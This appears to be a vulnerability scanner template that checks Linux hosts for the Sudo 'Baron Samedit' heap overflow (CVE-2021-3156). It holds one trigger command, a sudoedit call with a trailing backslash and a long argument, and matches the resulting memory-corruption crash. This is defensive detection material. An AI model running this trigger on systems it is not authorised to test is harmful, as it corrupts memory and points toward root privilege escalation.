id: CVE-2021-3156

info:
  name: Sudo Baron Samedit - Local Privilege Escalation
  author: pussycat0x
  severity: high
  description: |
    Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.
  reference:
    - https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435
    - https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
    - https://infosecwriteups.com/baron-samedit-cve-2021-3156-tryhackme-76d7dedc3cff
  metadata:
    verified: true
  tags: cve,cve2021,sudo,code,linux,privesc,local,kev

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      sudoedit -s '\' $(python3 -c 'print("A"*1000)')

    matchers:
      - type: word
        words:
          - "malloc(): memory corruption"
          - "Aborted (core dumped)"
        condition: and
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